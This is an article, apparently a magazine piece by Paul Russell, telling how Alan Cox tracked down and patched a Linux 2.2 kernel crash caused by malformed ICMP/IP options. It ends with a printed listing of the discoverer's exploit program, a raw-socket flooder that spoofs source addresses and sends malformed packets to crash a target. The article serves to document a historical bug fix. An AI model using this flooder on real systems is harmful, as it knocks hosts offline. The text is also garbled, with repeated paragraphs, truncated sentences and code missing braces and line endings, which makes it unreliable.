Anatomy of a Patch

Andi Kleen was sitting on IRC the whole time, suggesting ideas and going over the code.

Andi Kleen was sitting on IRC the whole time, suggesting ideas and going
over the code.

Alan was on a roll by now. There’s a routine in the Linux kernel called ip_options_compile; it looks at the options in an IP header.
It’s not a trivial routine, being 220 lines long, so passing through this with a
fine-tooth comb would have taken some time, and may not have solved the problem.
After all, the program could be sending a variety of options.

After finding nothing wrong, Alan tried removing the ip_options_
routine altogether. This stopped the machine from crashing.
So Alan had discovered where the bug was occurring, but what he didn’t know was
why? He knew that, at it’s heart, the bug was probably fiendishly

Alan kept testing, making new kernels on one computer and running (and
crashing) them on a test box. “Eventually,” says Alan, “I realized that we were
sending a parameter-problem error, but that wasn’t what caused the crash.”

When you receive a packet with malformed IP options, you can send an ICMP
parameter-problem error. You should never send an ICMP error in response to an
ICMP error (in that way lies madness), but Alan made sure that the kernel was not
trying to send one anyway. That could have been the source of the bug, but the
test machine continued to crash. The search continued.

Oddly enough, the next day he asked me how to fix it (he’s been travelling
a lot recently)… He said we’d been hit.


bugtraq: Send “subscribe bugtraq” to listserv@netspace.org

Linux Kernel Mailing List:

Send “subscribe linux-kernel” to majordomo@vger.rutgers.edu

Piotr’s Report to Bugtraq:


Alan’s Fix on Bugtraq:


And so, by the time I read about the bug on Slashdot the next morning,
it had all been resolved, and distribution makers were releasing patches for
their kernels. Those of you running Linux version 2.2 prior to version 2.2.10 had
best upgrade, especially if you’re on potentially hostile networks.

There you have it. From it’s initial discovery by a 15 year old student, to
the public release of a fix; this is how the Linux community gets things done.
Thanks to Poitr, Alan and Justin for their comments and time spent recalling the
details of the event to me over e-mail. Happy networking!

Paul “Rusty” Russell is now paid by WatchGuard to maintain the current Linux
packet filter code and develop cool new GPL networky stuff for the Linux Kernel
while spending the money WatchGuard sends. He can be reached at

Listing One: Piotr’s Exploit Program

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>

struct icmp_hdr
struct iphdr iph;
struct icmp icp;
char text[1002];
} icmph;

int in_cksum(int *ptr, int nbytes)
long sum;
u_short oddbyte, answer;
sum = 0;
while (nbytes > 1)
sum += *ptr++;
nbytes -= 2;
if (nbytes == 1)
oddbyte = 0;
*((u_char *)&oddbyte) = *(u_char *)ptr;
sum += oddbyte;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;

struct sockaddr_in sock_open(char *address, int
socket, int prt)
struct hostent *host;
if ((host = gethostbyname(address)) ==
perror(“Unable to get host name”);
struct sockaddr_in sin;
bzero((char *)&sin, sizeof(sin));
sin.sin_family = PF_INET;
sin.sin_port = htons(prt);
bcopy(host->h_addr, (char *)&sin.sin_addr,

void main(int argc, char **argv)
int sock, i, ctr, k;
int on = 1;
struct sockaddr_in addrs;
if (argc < 3)
printf(“Usage: %s <ip_addr> <port>\n”,
for (i = 0; i < 1002; i++)
icmph.text[i] = random() % 255;
sock = socket(AF_INET, SOCK_RAW,
if (setsockopt(sock, IPPROTO_IP,
IP_HDRINCL, (char *)&on,
sizeof(on)) == -1)
perror(“Can’t set IP_HDRINCL option on
if (sock < 0)
for (ctr = 0;ctr < 1001;ctr++)
ctr = ctr % 1000;
addrs = sock_open(argv[1], sock,
icmph.iph.version = 4;
icmph.iph.ihl = 6;
icmph.iph.tot_len = 1024;
icmph.iph.id = htons(0×001);
icmph.iph.ttl = 255;
icmph.iph.protocol = IPPROTO_ICMP;
icmph.iph.saddr = ((random() % 255) *
255 * 255 * 255) +
((random() % 255) * 65535) +
((random() % 255) * 255) +
(random() % 255);
icmph.iph.daddr = addrs.sin_addr.s_addr;
icmph.iph.frag_off = htons(0);
icmph.icp.icmp_type = random() % 14;
icmph.icp.icmp_code = random() % 10;
icmph.icp.icmp_cksum = 0;
icmph.icp.icmp_id = 2650;
icmph.icp.icmp_seq = random() % 255;
icmph.icp.icmp_cksum = in_cksum((int *)
&icmph.icp, 1024);
if (sendto(sock, &icmph, 1024, 0,
(struct sockaddr *)&addrs,
sizeof(struct sockaddr)) == -1)
if (errno != ENOBUFS) printf(“X”);
if (ctr == 0) printf(“b00m “);

Comments are closed.